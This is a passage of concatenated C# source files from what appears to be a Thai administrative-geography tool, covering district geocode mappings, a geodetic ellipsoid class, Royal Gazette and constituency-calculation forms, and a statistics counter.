//AMP[72][0]=new Array('-- อำเภอ --','อำเภอเมืองอุดรธานี' ,'อำเภอกุดจับ' ,'อำเภอหนองวอซอ' ,'อำเภอกุมวาปี' ,'อำเภอโนนสะอาด' ,'อำเภอหนองหาน' ,'อำเภอทุ่งฝน' ,'อำเภอไชยวาน' ,'อำเภอศรีธาตุ' ,'อำเภอวังสามหมอ' ,'อำเภอบ้านดุง' ,'อำเภอบ้านผือ' ,'อำเภอน้ำโสม' ,'อำเภอเพ็ญ' ,'อำเภอสร้างคอม' ,'อำเภอหนองแสง' ,'อำเภอนายูง' ,'อำเภอพิบูลย์รักษ์' ,'กิ่งอำเภอกู่แก้ว' ,'กิ่งอำเภอประจักษ์ศิลปาคม' );
//AMP[72][1]= new Array('-1','771' ,'772' ,'773' ,'774' ,'775' ,'776' ,'777' ,'778' ,'779' ,'780' ,'781' ,'782' ,'783' ,'784' ,'785' ,'786' ,'787' ,'788' ,'789' ,'790' );
{ 4101, 771 }, // เมืองอุดรธานี
{ 4102, 772 }, // กุดจับ
{ 4103, 773 }, // หนองวัวซอ
{ 4104, 774 }, // กุมภวาปี
{ 4105, 775 }, // โนนสะอาด
{ 4106, 776 }, // หนองหาน
{ 4107, 777 }, // ทุ่งฝน
{ 4108, 778 }, // ไชยวาน
{ 4109, 779 }, // ศรีธาตุ
{ 4110, 780 }, // วังสามหมอ
{ 4111, 781 }, // บ้านดุง
{ 4117, 782 }, // บ้านผือ
{ 4118, 783 }, // น้ำโสม
{ 4119, 784 }, // เพ็ญ
{ 4120, 785 }, // สร้างคอม
{ 4121, 786 }, // หนองแสง
{ 4122, 787 }, // นายูง
{ 4123, 788 }, // พิบูลย์รักษ์
{ 4124, 789 }, // กู่แก้ว
{ 4125, 790 }, // ประจักษ์ศิลปาคม
#endregion Udon Thani
#region Uttaradit
//AMP[73][0]=new Array('-- อำเภอ --','อำเภอเมืองอุตรดิตถ์' ,'อำเภอตรอน' ,'อำเภอท่าปลา' ,'อำเภอน้ำปาด' ,'อำเภอฟากท่า' ,'อำเภอบ้านโคก' ,'อำเภอพิชัย' ,'อำเภอลับแล' ,'อำเภอทองแสนขัน' );
//AMP[73][1]= new Array('-1','791' ,'792' ,'793' ,'794' ,'795' ,'796' ,'797' ,'798' ,'799' );
{ 5301, 791 }, // เมืองอุตรดิตถ์
{ 5302, 792 }, // ตรอน
{ 5303, 793 }, // ท่าปลา
{ 5304, 794 }, // น้ำปาด
{ 5305, 795 }, // ฟากท่า
{ 5306, 796 }, // บ้านโคก
{ 5307, 797 }, // พิชัย
{ 5308, 798 }, // ลับแล
{ 5309, 799 }, // ทองแสนขัน
#endregion Uttaradit
#region Uthai Thani
//AMP[74][0]=new Array('-- อำเภอ --','อำเภอเมืองอุทัยธานี' ,'อำเภอทัพทัน' ,'อำเภอสว่างอารมณ์' ,'อำเภอหนองฉาง' ,'อำเภอหนองขาหย่าง' ,'อำเภอบ้านไร่' ,'อำเภอลานสัก' ,'อำเภอห้วยคด' );
//AMP[74][1]= new Array('-1','800' ,'801' ,'802' ,'803' ,'804' ,'805' ,'806' ,'807' );
{ 6101, 800 }, // เมืองอุทัยธานี
{ 6102, 801 }, // ทัพทัน
{ 6103, 802 }, // สว่างอารมณ์
{ 6104, 803 }, // หนองฉาง
{ 6105, 804 }, // หนองขาหย่าง
{ 6106, 805 }, // บ้านไร่
{ 6107, 806 }, // ลานสัก
{ 6108, 807 }, // ห้วยคต
#endregion Uthai Thani
#region Ubon Ratchathani
//AMP[75][0]=new Array('-- อำเภอ --','อำเภอเมืองอุบลราชธานี' ,'อำเภอศรีเมืองใหม่' ,'อำเภอโขงเจียม' ,'อำเภอเขื่องใน' ,'อำเภอเขมราฐ' ,'อำเภอเดชอุดม' ,'อำเภอนาจะหลวย' ,'อำเภอน้ำยืน' ,'อำเภอบุญฑริก' ,'อำเภอตระการพืชผล' ,'อำเภอกุดข้าวปุ้น' ,'อำเภอม่วงสามสิบ' ,'อำเภอวารินชำราบ' ,'อำเภอพิบูลมังสาหาร' ,'อำเภอตาลสุม' ,'อำเภอโพธิ์ไทร' ,'อำเภอสำโรง' ,'อำเภอดอนมดแดง' ,'สิรินธร' ,'อำเภอทุ่งศรีอุดม' ,'กิ่งอำเภอนาเยีย' ,'กิ่งอำเภอนาตาล' ,'กิ่งอำเภอเหล่าเสือโก้ก' ,'กิ่งอำเภอสว่างวีรวงศ์' ,'กิ่งอำเภอน้ำขุ่น' );
//AMP[75][1]= new Array('-1','808' ,'809' ,'810' ,'811' ,'812' ,'813' ,'814' ,'815' ,'816' ,'817' ,'818' ,'819' ,'820' ,'821' ,'822' ,'823' ,'824' ,'825' ,'826' ,'827' ,'828' ,'829' ,'830' ,'831' ,'832' );
{ 3401, 808 }, // เมืองอุบลราชธานี
{ 3402, 809 }, // ศรีเมืองใหม่
{ 3403, 810 }, // โขงเจียม
{ 3404, 811 }, // เขื่องใน
{ 3405, 812 }, // เขมราฐ
{ 3407, 813 }, // เดชอุดม
{ 3408, 814 }, // นาจะหลวย
{ 3409, 815 }, // น้ำยืน
{ 3410, 816 }, // บุณฑริก
{ 3411, 817 }, // ตระการพืชผล
{ 3412, 818 }, // กุดข้าวปุ้น
{ 3414, 819 }, // ม่วงสามสิบ
{ 3415, 820 }, // วารินชำราบ
{ 3419, 821 }, // พิบูลมังสาหาร
{ 3420, 822 }, // ตาลสุม
{ 3421, 823 }, // โพธิ์ไทร
{ 3422, 824 }, // สำโรง
{ 3424, 825 }, // ดอนมดแดง
{ 3425, 826 }, // สิรินธร
{ 3426, 827 }, // ทุ่งศรีอุดม
{ 3429, 828 }, // นาเยีย
{ 3430, 829 }, // นาตาล
{ 3431, 830 }, // เหล่าเสือโก้ก
{ 3432, 831 }, // สว่างวีระวงศ์
{ 3433, 832 }, // น้ำขุ่น
#endregion Ubon Ratchathani
};
#endregion _geocodeToAmphoeCom
#endregion consts
/// <summary>
/// Gets the URL on amphoe.com for the given geocode.
/// </summary>
/// <param name="geocode">Geocode of the district.</param>
/// <returns>URL at amphoe.com, or <c>null</c> if no valid URL can be found.</returns>
public static Uri AmphoeWebsite(UInt32 geocode)
{
Int16 provinceCode = 0;
if ( _provinceToAmphoeCom.TryGetValue(geocode / 100, out provinceCode) )
{
Int16 amphoeCode = 0;
if ( _geocodeToAmphoeCom.TryGetValue(geocode, out amphoeCode) )
{
return new Uri(String.Format(CultureInfo.InvariantCulture, "http://www.amphoe.com/menu.php?mid=1&am={0}&pv={1}", amphoeCode, provinceCode));
}
}
return null;
}
}
}<file_sep>/AHGeo/GeoEllipsoid.cs
using System;
using System.Collections.Generic;
using System.Text;
namespace De.AHoerstemeier.Geo
{
/// <summary>
/// Encapsulates an ellipsoid.
/// </summary>
public class GeoEllipsoid : ICloneable, IEquatable<GeoEllipsoid>
{
#region properties
/// <summary>
/// Gets the Name of the ellipsoid.
/// </summary>
/// <value>Name of the ellipsoid.</value>
public String Name { get; private set; }
/// <summary>
/// Gets the size of the semi major axis of the ellipsoid.
/// </summary>
/// <value>The size of the semi major axis of the ellipsoid</value>
public Double SemiMajorAxis { get; private set; }
/// <summary>
/// Gets the flattening of the ellipsoid.
/// </summary>
/// <value>The flattening of the ellipsoid</value>
public Double Flattening { get; private set; }
/// <summary>
/// Gets the denominator if the flattening.
/// </summary>
/// <value>The denominator if the flattening</value>
public Double DenominatorOfFlattening { get { return 1 / Flattening; } }
/// <summary>
/// Gets the square of the excentricity.
/// </summary>
/// <value>The square of the excentricity</value>
public Double ExcentricitySquared { get { return 2 * Flattening - Flattening * Flattening; } }
#endregion
#region constructor
/// <summary>
/// Initializes an ellipsoid.
/// </summary>
/// <param name="name">Name of the ellipsoid.</param>
/// <param name="semiMajorAxis">Semi major axis of the ellipsoid.</param>
/// <param name="flattening">Flattening of the ellipsoid.</param>
public GeoEllipsoid(String name, Double semiMajorAxis, Double flattening)
{
Name = name;
SemiMajorAxis = semiMajorAxis;
Flattening = flattening;
}
/// <summary>
/// Initializes an ellipsoid.
/// </summary>
/// <param name="value">Ellipsoid to be copies from.</param>
public GeoEllipsoid(GeoEllipsoid value)
{
Name = value.Name;
SemiMajorAxis = value.SemiMajorAxis;
Flattening = value.Flattening;
}
#endregion
#region ICloneable Members
/// <summary>
/// Returns a new instance copied from the current one.
/// </summary>
/// <returns>New instance of the ellipsoid.</returns>
public object Clone()
{
return new GeoEllipsoid(this);
}
#endregion
#region IEquatable Members
/// <summary>
/// Returns a value indicating whether this instance is equal to the specified.
/// </summary>
/// <param name="value">Instance to be compared with.</param>
/// <returns>True if equal, false otherwise.</returns>
public bool Equals(GeoEllipsoid value)
{
bool result = Math.Abs(value.SemiMajorAxis - this.SemiMajorAxis) < 0.0001;
result = result & (Math.Abs(value.DenominatorOfFlattening - this.DenominatorOfFlattening) < 0.0000000001);
return result;
}
#endregion
#region static fixed ellipsoids
// http://www.colorado.edu/geography/gcraft/notes/datum/edlist.html
/// <summary>
/// Returns the WGS84 ellipsoid.
/// </summary>
/// <returns>WGS84 ellipsoid.</returns>
public static GeoEllipsoid EllipsoidWGS84()
{
return new GeoEllipsoid("WGS84", 6378137, 1 / 298.257223563);
}
/// <summary>
/// Returns the Everest ellipsoid.
/// </summary>
/// <returns>Everest ellipsoid.</returns>
public static GeoEllipsoid EllipsoidEverest()
{
return new GeoEllipsoid("Everest", 6377276.345, 1 / 300.8017);
}
/// <summary>
/// Returns the Clarke 1866 ellipsoid.
/// </summary>
/// <returns>Clarke 1866 ellipsoid.</returns>
public static GeoEllipsoid EllipsoidClarke1866()
{
return new GeoEllipsoid("Clarke1866", 6378206.4, 1 / 294.978698);
}
#endregion
}
}<file_sep>/RoyalGazetteViewer.cs
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Xml;
using System.Windows.Forms;
namespace De.AHoerstemeier.Tambon
{
public partial class RoyalGazetteViewer : Form
{
private DataTable mTable = new DataTable();
private void CreateDataTable()
{
mTable.Columns.Add("Description", typeof(String));
mTable.Columns.Add("Title", typeof(RoyalGazette));
mTable.Columns.Add("Volume", typeof(Int32));
mTable.Columns.Add("Issue", typeof(RoyalGazetteIssue));
mTable.Columns.Add("Page", typeof(RoyalGazettePageinfo));
mTable.Columns.Add("Signed", typeof(DateTime));
mTable.Columns.Add("Publication", typeof(DateTime));
mTable.Columns.Add("Effective", typeof(DateTime));
mTable.Columns.Add("SignedBy", typeof(String));
mTable.Columns.Add("SignedByAs", typeof(GazetteSignPosition));
mTable.Columns.Add("Gazette", typeof(String));
}
private void FillDataTable(RoyalGazetteList iData)
{
RoyalGazetteList lData = iData;
if ( filterToolStripMenuItem.Checked )
{
lData = lData.FilteredList(TambonHelper.GlobalGazetteList);
}
mTable.Rows.Clear();
foreach ( RoyalGazette lEntry in lData )
{
DataRow lRow = mTable.NewRow();
lRow["Description"] = lEntry.Description;
lRow["Title"] = lEntry;
lRow["Volume"] = lEntry.Volume;
lRow["Issue"] = lEntry.Issue;
lRow["Page"] = lEntry.PageInfo;
lRow["Publication"] = lEntry.Publication;
lRow["Signed"] = lEntry.Sign;
lRow["Effective"] = lEntry.Effective;
lRow["SignedBy"] = lEntry.SignedBy;
lRow["SignedByAs"] = lEntry.SignedByPosition;
lRow["Gazette"] = lEntry;
mTable.Rows.Add(lRow);
}
grid.DataSource = mTable;
}
public RoyalGazetteViewer()
{
InitializeComponent();
CreateDataTable();
InitializeGrid();
}
private RoyalGazetteList mData = null;
internal RoyalGazetteList Data
{
get { return mData; }
set { SetData(value); }
}
private Boolean mFiltered = false;
internal Boolean Filtered
{
get { return mFiltered; }
set { mFiltered = value; SetData(mData); }
}
private void SetData(RoyalGazetteList value)
{
if ( value != null )
{
mData = value;
FillDataTable(mData);
grid.Columns[mTable.Columns.Count - 1].Visible = false;
}
}
private void InitializeGrid()
{
grid.ColumnHeadersBorderStyle =
DataGridViewHeaderBorderStyle.Single;
}
private void grid_CellDoubleClick(object sender, DataGridViewCellEventArgs e)
{
if ( e.RowIndex >= 0 )
{
DataGridView lGrid = sender as DataGridView;
DataGridViewRow lRow = lGrid.Rows[e.RowIndex];
DataRowView lRowView = lRow.DataBoundItem as DataRowView;
// Debug.Assert(lRowView != null);
DataRow lDataRow = lRowView.Row;
// Debug.Assert(lDataRow != null);
RoyalGazette lGazette = lDataRow["Title"] as RoyalGazette;
if ( lGazette != null )
{
lGazette.ShowPDF();
}
}
}
private void mnuShow_Click(object sender, EventArgs e)
{
foreach ( RoyalGazette lGazette in CurrentSelection() )
{
lGazette.ShowPDF();
}
}
private void grid_CellContextMenuStripNeeded(object sender, DataGridViewCellContextMenuStripNeededEventArgs e)
{
contextMenuStrip1.Show(MousePosition);
}
private RoyalGazetteList CurrentSelection()
{
RoyalGazetteList retval = new RoyalGazetteList();
foreach ( DataGridViewRow lRow in grid.SelectedRows )
{
DataRowView lRowView = lRow.DataBoundItem as DataRowView;
// Debug.Assert(lRowView != null);
DataRow lDataRow = lRowView.Row;
// Debug.Assert(lDataRow != null);
RoyalGazette lGazette = lDataRow["Title"] as RoyalGazette;
if ( lGazette != null )
{
retval.Add(lGazette);
}
}
return retval;
}
private void mnuCitation_Click(object sender, EventArgs e)
{
String retval = String.Empty;
foreach ( RoyalGazette lGazette in CurrentSelection() )
{
retval = retval + lGazette.Citation() + " ";
}
retval = retval.Trim();
if ( !String.IsNullOrEmpty(retval) )
{
Clipboard.SetText(retval);
}
}
internal static void ShowGazetteDialog(RoyalGazetteList iList, Boolean iFiltered)
{
ShowGazetteDialog(iList, iFiltered, String.Empty);
}
internal static void ShowGazetteDialog(RoyalGazetteList iList, Boolean iFiltered, String iTitle)
{
var lDataForm = new RoyalGazetteViewer();
lDataForm.Filtered = iFiltered;
lDataForm.Data = iList;
if ( !String.IsNullOrEmpty(iTitle) )
{
lDataForm.Text = iTitle;
}
lDataForm.Show();
}
internal static void ShowGazetteNewsDialog(RoyalGazetteList iList)
{
var lNewGazetteEntries = iList.FilteredList(TambonHelper.GlobalGazetteList);
if ( lNewGazetteEntries.Count != 0 )
{
ShowGazetteDialog(iList, true);
}
}
private void mnuMirror_Click(object sender, EventArgs e)
{
foreach ( RoyalGazette lGazette in CurrentSelection() )
{
lGazette.MirrorToCache();
}
}
private void mnuDeletePDF_Click(object sender, EventArgs e)
{
foreach ( RoyalGazette lGazette in CurrentSelection() )
{
lGazette.RemoveFromCache();
}
}
private void btnSaveXml_Click(object sender, EventArgs e)
{
if ( mData != null )
{
SaveFileDialog lDlg = new SaveFileDialog();
lDlg.Filter = "XML Files|*.xml|All files|*.*";
if ( lDlg.ShowDialog() == DialogResult.OK )
{
mData.SaveXML(lDlg.FileName);
}
}
}
private void btnSaveRSS_Click(object sender, EventArgs e)
{
if ( mData != null )
{
SaveFileDialog lDlg = new SaveFileDialog();
lDlg.Filter = "XML Files|*.xml|All files|*.*";
if ( lDlg.ShowDialog() == DialogResult.OK )
{
mData.ExportToRSS(lDlg.FileName);
}
}
}
private void xMLSourceToolStripMenuItem_Click(object sender, EventArgs e)
{
String retval = String.Empty;
XmlDocument lXmlDocument = new XmlDocument();
XmlNode lBaseNode = lXmlDocument;
if ( CurrentSelection().Count > 1 )
{
lBaseNode = (XmlElement)lXmlDocument.CreateNode("element", "gazette", "");
lXmlDocument.AppendChild(lBaseNode);
}
foreach ( RoyalGazette lGazette in CurrentSelection() )
{
lGazette.ExportToXML(lBaseNode);
}
retval = lXmlDocument.InnerXml;
if ( !String.IsNullOrEmpty(retval) )
{
Clipboard.SetText(retval);
}
}
private void pDFURLToolStripMenuItem_Click(object sender, EventArgs e)
{
String retval = String.Empty;
foreach ( RoyalGazette gazette in CurrentSelection() )
{
retval = retval + gazette.URL() + Environment.NewLine;
}
retval = retval.Substring(0, Math.Max(0, retval.Length - Environment.NewLine.Length));
if ( !String.IsNullOrEmpty(retval) )
{
Clipboard.SetText(retval);
}
}
private void filterToolStripMenuItem_Click(object sender, EventArgs e)
{
filterToolStripMenuItem.Checked = !filterToolStripMenuItem.Checked;
Filtered = filterToolStripMenuItem.Checked;
}
private void contextMenuStrip1_Opening(object sender, CancelEventArgs e)
{
Boolean lHasFilter = ((TambonHelper.GlobalGazetteList != null) && (TambonHelper.GlobalGazetteList.Count > 0));
filterToolStripMenuItem.Visible = (lHasFilter);
toolStripSeparator1.Visible = (lHasFilter);
}
private void btnCheck_Click(object sender, EventArgs e)
{
RoyalGazetteList lList = mData.FindDuplicates();
if ( lList.Count > 0 )
{
ShowGazetteDialog(lList, false, "Duplicate entries");
}
}
}
}
<file_sep>/ConstituencyForm.cs
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Diagnostics;
using System.IO;
using System.Xml;
namespace De.AHoerstemeier.Tambon
{
public partial class ConstituencyForm : Form
{
private Dictionary<Int32, PopulationDataEntry> _downloadedData = new Dictionary<int, PopulationDataEntry>();
private Dictionary<PopulationDataEntry, Int32> _lastCalculation = null;
public ConstituencyForm()
{
InitializeComponent();
}
private void rbxProvince_CheckedChanged(Object sender, EventArgs e)
{
cbxProvince.Enabled = rbxProvince.Checked;
}
private void ConstituencyForm_Load(Object sender, EventArgs e)
{
edtYear.Maximum = TambonHelper.PopulationStatisticMaxYear;
edtYear.Minimum = TambonHelper.PopulationStatisticMinYear;
edtYear.Value = edtYear.Maximum;
TambonHelper.LoadGeocodeList();
cbxProvince.Items.Clear();
foreach ( PopulationDataEntry entry in TambonHelper.ProvinceGeocodes )
{
cbxProvince.Items.Add(entry);
if ( entry.Geocode == TambonHelper.PreferredProvinceGeocode )
{
cbxProvince.SelectedItem = entry;
}
}
cbxRegion.Items.Clear();
foreach ( String regionScheme in TambonHelper.RegionSchemes() )
{
cbxRegion.Items.Add(regionScheme);
}
if ( cbxRegion.Items.Count > 0 )
{
cbxRegion.SelectedIndex = 0;
}
}
private PopulationDataEntry GetPopulationDataFromCache(Int32 year)
{
PopulationDataEntry data = null;
if ( _downloadedData.Keys.Contains(year) )
{
data = _downloadedData[year];
data = (PopulationDataEntry)data.Clone();
}
return data;
}
private PopulationDataEntry GetPopulationData(Int32 year)
{
PopulationDataEntry data = GetPopulationDataFromCache(year);
if ( data == null )
{
PopulationData downloader = new PopulationData(year, 0);
downloader.Process();
data = downloader.Data;
StorePopulationDataToCache(data, year);
}
return data;
}
private void StorePopulationDataToCache(PopulationDataEntry data, Int32 year)
{
_downloadedData[year] = (PopulationDataEntry)data.Clone();
}
private void btnCalc_Click(Object sender, EventArgs e)
{
Int32 year = Convert.ToInt32(edtYear.Value);
Int32 numberOfConstituencies = Convert.ToInt32(edtNumberOfConstituencies.Value);
Int32 geocode = 0;
PopulationDataEntry data = null;
if ( rbxNational.Checked )
{
data = GetPopulationData(year);
}
if ( rbxProvince.Checked )
{
var province = (PopulationDataEntry)cbxProvince.SelectedItem;
geocode = province.Geocode;
PopulationData downloader = new PopulationData(year, geocode);
downloader.Process();
data = downloader.Data;
}
if ( rbxNational.Checked && chkBuengKan.Checked )
{
ModifyPopulationDataForBuengKan(data);
}
data.SortSubEntitiesByEnglishName();
Dictionary<PopulationDataEntry, Int32> result = ConstituencyCalculator.Calculate(data, year, numberOfConstituencies);
if ( chkRegions.Checked )
{
List<PopulationDataEntry> regions = TambonHelper.GetRegionBySchemeName(cbxRegion.Text);
Dictionary<PopulationDataEntry, Int32> regionResult = new Dictionary<PopulationDataEntry, Int32>();
foreach ( PopulationDataEntry region in regions )
{
Int32 constituencies = 0;
List<PopulationDataEntry> subList = new List<PopulationDataEntry>();
foreach ( PopulationDataEntry province in region.SubEntities )
{
PopulationDataEntry foundEntry = data.FindByCode(province.Geocode);
if ( foundEntry != null )
{
constituencies = constituencies + result[foundEntry];
subList.Add(foundEntry);
}
}
region.SubEntities.Clear();
region.SubEntities.AddRange(subList);
region.CalculateNumbersFromSubEntities();
regionResult.Add(region, constituencies);
}
result = regionResult;
}
String displayResult = String.Empty;
foreach ( KeyValuePair<PopulationDataEntry, Int32> entry in result )
{
Int32 votersPerSeat = 0;
if ( entry.Value != 0 )
{
votersPerSeat = entry.Key.Total / entry.Value;
}
displayResult = displayResult +
String.Format("{0} {1} ({2} per seat)", entry.Key.English, entry.Value, votersPerSeat) + Environment.NewLine;
}
txtData.Text = displayResult;
_lastCalculation = result;
btnSaveCsv.Enabled = true;
}
private static void ModifyPopulationDataForBuengKan(PopulationDataEntry data)
{
PopulationDataEntry buengKan = data.FindByCode(38);
if ( buengKan == null )
{
buengKan = new PopulationDataEntry();
buengKan.English = "Bueng Kan";
buengKan.Geocode = 38;
List<Int32> buengKanAmphoeCodes = new List<int>() { 4313, 4311, 4309, 4312, 4303, 4306, 4310, 4304 };
data.SubEntities.RemoveAll(p => p == null);
PopulationDataEntry nongKhai = data.FindByCode(43);
foreach ( Int32 code in buengKanAmphoeCodes )
{
PopulationDataEntry entry = nongKhai.FindByCode(code);
buengKan.SubEntities.Add(entry);
nongKhai.SubEntities.Remove(entry);
}
nongKhai.CalculateNumbersFromSubEntities();
buengKan.CalculateNumbersFromSubEntities();
data.SubEntities.Add(buengKan);
data.CalculateNumbersFromSubEntities();
}
}
private void rbxNational_CheckedChanged(object sender, EventArgs e)
{
chkBuengKan.Enabled = rbxNational.Checked;
chkRegions.Enabled = rbxNational.Checked;
}
private void chkRegions_Changed(object sender, EventArgs e)
{
cbxRegion.Enabled = chkRegions.Checked && chkRegions.Enabled;
}
private void btnSaveCsv_Click(object sender, EventArgs e)
{
Debug.Assert(_lastCalculation != null);
StringBuilder lBuilder = new StringBuilder();
foreach ( KeyValuePair<PopulationDataEntry, Int32> lEntry in _lastCalculation )
{
Int32 lVotersPerSeat = 0;
if ( lEntry.Value != 0 )
{
lVotersPerSeat = lEntry.Key.Total / lEntry.Value;
}
lBuilder.AppendLine(lEntry.Key.English + "," + lEntry.Value.ToString() + "," + lVotersPerSeat.ToString());
}
SaveFileDialog lDlg = new SaveFileDialog();
lDlg.Filter = "CSV Files|*.csv|All files|*.*";
if ( lDlg.ShowDialog() == DialogResult.OK )
{
Stream lFileStream = new FileStream(lDlg.FileName, FileMode.CreateNew);
StreamWriter lWriter = new StreamWriter(lFileStream);
lWriter.Write(lBuilder.ToString());
lWriter.Close();
}
}
private void btnLoadConstituencyXml_Click(Object sender, EventArgs e)
{
OpenFileDialog openDialog = new OpenFileDialog();
openDialog.Filter = "XML Files|*.xml|All files|*.*";
if ( openDialog.ShowDialog() == DialogResult.OK )
{
PopulationData data = null;
StreamReader reader = null;
try
{
reader = new StreamReader(openDialog.FileName);
XmlDocument xmlDoc = new XmlDocument();
xmlDoc.LoadXml(reader.ReadToEnd());
foreach ( XmlNode node in xmlDoc.ChildNodes )
{
if ( node.Name == "electiondata" )
{
data = PopulationData.Load(node);
}
}
}
finally
{
if ( reader != null )
{
reader.Dispose();
}
}
if ( (data != null) && (data.Data != null) )
{
Int32 year = Convert.ToInt32(edtYear.Value);
PopulationDataEntry dataEntry = GetPopulationData(year);
if ( rbxNational.Checked && chkBuengKan.Checked )
{
ModifyPopulationDataForBuengKan(dataEntry);
}
dataEntry.SortSubEntitiesByEnglishName();
var entitie = data.Data.FlatList(new List<EntityType>() { EntityType.Bangkok, EntityType.Changwat, EntityType.Amphoe, EntityType.KingAmphoe, EntityType.Khet });
foreach ( PopulationDataEntry entry in entitie )
{
entry.CopyPopulationToConstituencies(dataEntry);
}
ConstituencyStatisticsViewer dialog = new ConstituencyStatisticsViewer(data.Data);
dialog.Show();
}
}
}
}
}
<file_sep>/TambonHelpers/FrequencyCounter.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace De.AHoerstemeier.Tambon
{
/// <summary>
/// Number frequency counter specific for values concerning entities with a geocode.
/// </summary>
public class FrequencyCounter
{
#region fields
/// <summary>
/// Dirty indicator.
/// </summary>
private Boolean _dirty = true;
#endregion fields
#region properties
/// <summary>
/// Gets the data.
/// </summary>
/// <value>The data.</value>
/// <remarks>Key is the value, Value is the list of geocodes for the given value.</remarks>
public Dictionary<Int32, List<UInt32>> Data
{
get;
private set;
}
#region MediaValue
/// <summary>
/// Backing field for <see cref=" MedianValue"/>.
/// </summary>
private double _medianValue = 0;
/// <summary>
/// Gets the median value.
/// </summary>
/// <value>The median value.</value>
public Double MedianValue
{
get
{
if ( _dirty )
{
CalculateStatistics();
};
return _medianValue;
}
}
#endregion MediaValue
#region MaxValue
/// <summary>
/// Backing field for <see cref=" MaxValue"/>.
/// </summary>
private Int32 _maxValue = 0;
/// <summary>
/// Gets the maximum value.
/// </summary>
/// <value>The maximum value.</value>
public Int32 MaxValue
{
get
{
if ( _dirty )
{
CalculateStatistics();
};
return _maxValue;
}
}
#endregion MaxValue
#region MinValue
/// <summary>
/// Backing field for <see cref=" MinValue"/>.
/// </summary>
private Int32 _minValue = 0;
/// <summary>
/// Gets the minimum value.
/// </summary>
/// <value>The minimum value.</value>
public Int32 MinValue
{
get
{
if ( _dirty )
{
CalculateStatistics();
};
return _minValue;
}
}
#endregion MinValue
#region MostCommonValue
/// <summary>
/// Backing field for <see cref="MostCommonValue"/>.
/// </summary>
private Int32 _mostCommonValue = 0;
/// <summary>
/// Gets the most common value.
/// </summary>
/// <value>The most common value.</value>
public Int32 MostCommonValue
{
get
{
if ( _dirty )
{
CalculateStatistics();
};
return _mostCommonValue;
}
}
#endregion MostCommonValue
#region MostCommonValueValueCount
/// <summary>
/// Backing field for <see cref="MostCommonValueCount"/>.
/// </summary>
private Int32 _mostCommonValueCount = 0;
/// <summary>
/// Gets the number of entities which has the most common value.
/// </summary>
/// <value>The number of entities with the most common value.</value>
public Int32 MostCommonValueCount
{
get
{
if ( _dirty )
{
CalculateStatistics();
};
return _mostCommonValueCount;
}
}
#endregion MostCommonValueValueCount
#region NumberOfValues
/// <summary>
/// Backing field for <see cref="NumberOfValues"/>.
/// </summary>
private Int32 _count = 0;
/// <summary>
/// Gets the number of values.
/// </summary>
/// <value>The number of values.</value>
public Int32 NumberOfValues
{
get
{
if ( _dirty )
{
CalculateStatistics();
};
return _count;
}
}
#endregion NumberOfValues
#region SumValue
/// <summary>
/// Backing field for <see cref="SumValue"/>.
/// </summary>
private Int32 _sum = 0;
/// <summary>
/// Gets the sum of values.
/// </summary>
/// <value>The sum of values.</value>
public Int32 SumValue
{
get
{
if ( _dirty )
{
CalculateStatistics();
};
return _sum;
}
}
#endregion SumValue
#region StandardDeviation
/// <summary>
/// Backing field for <see cref="StandardDeviation"/>.
/// </summary>
private Double _standardDeviation = 0;
/// <summary>
/// Gets the standard deviation.
/// </summary>
/// <value>The standard deviation.</value>
public Double StandardDeviation
{
get
{
if ( _dirty )
{
CalculateStatistics();
};
return _standardDeviation;
}
}
#endregion StandardDeviation
#endregion properties
#region constructor
public FrequencyCounter()
{
Data = new Dictionary<Int32, List<UInt32>>();
}
#endregion constructor
#region methods
/// <summary>
/// Adds a datapoint.
/// </summary>
/// <param name="value">Data value.</param>
/// <param name="geocode">Geocode of the entity.</param>
public void IncrementForCount(Int32 value, UInt32 geocode)
{
if ( !Data.ContainsKey(value) )
{
Data.Add(value, new List<UInt32>());
}
Data[value].Add(geocode);
_dirty = true;
}
/// <summary>
/// Recalculates the statistical values.
/// </summary>
private void CalculateStatistics()
{
NormalizeData();
_medianValue = 0;
_mostCommonValue = 0;
_mostCommonValueCount = 0;
_standardDeviation = 0;
_sum = 0;
_count = 0;
var keys = Data.Keys.ToList();
keys.Sort();
_minValue = keys.FirstOrDefault();
_maxValue = keys.LastOrDefault();
foreach ( var keyValue in Data )
{
Int32 currentCount = keyValue.Value.Count;
_count += currentCount;
_sum += keyValue.Key * currentCount;
if ( currentCount > _mostCommonValueCount )
{
_mostCommonValueCount = currentCount;
_mostCommonValue = keyValue.Key;
}
}
if ( _count > 0 )
{
_medianValue = (_sum * 1.0 / _count);
double deviation = 0;
foreach ( var keyValue in Data )
{
if ( keyValue.Value != null )
{
Int32 currentCount = keyValue.Value.Count;
if ( currentCount > 0 )
{
deviation = deviation + Math.Pow(keyValue.Key - _medianValue, 2) * currentCount;
}
}
}
_standardDeviation = Math.Sqrt(deviation / _count);
}
}
/// <summary>
/// Cleaning up the <see cref="Data"/>.
/// </summary>
private void NormalizeData()
{
foreach ( var value in Data.Where(x => x.Value == null).ToList() )
{
Data.Remove(value.Key);
}
foreach ( var value in Data.Where(x => !x.Value.Any()).ToList() )
{
Data.Remove(value.Key);
}
}
#endregion methods
}
}<file_sep>/TambonUI/DisambiguationForm.cs
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
namespace De.AHoerstemeier.Tambon.UI
{
public partial class DisambiguationForm : Form
{
private class EntityList
{
public List<Entity> Entities = new List<Entity>();
public override string ToString()
{
return String.Format("{0} ({1})", Entities.First().english, Entities.Count());
}
public EntityList(IEnumerable<Entity> entities)
{
Entities.AddRange(entities);
}
}
private List<Entity> allEntities = null;
public DisambiguationForm()
{
InitializeComponent();
}
private void DisambiguationForm_Load(Object sender, EventArgs e)
{
cbxEntityType.Items.Add(EntityType.Tambon);
cbxEntityType.Items.Add(EntityType.TAO);
cbxEntityType.Items.Add(EntityType.ThesabanTambon);
cbxEntityType.Items.Add(EntityType.ThesabanMueang);
allEntities = new List<Entity>();
var entities = GlobalData.CompleteGeocodeList();
allEntities.AddRange(entities.FlatList().Where(x => !x.IsObsolete));
cbxProvinces.Items.AddRange(allEntities.Where(x => x.type == EntityType.Changwat).ToArray());
var allTambon = allEntities.Where(x => x.type == EntityType.Tambon).ToList();
foreach ( var tambon in allTambon )
{
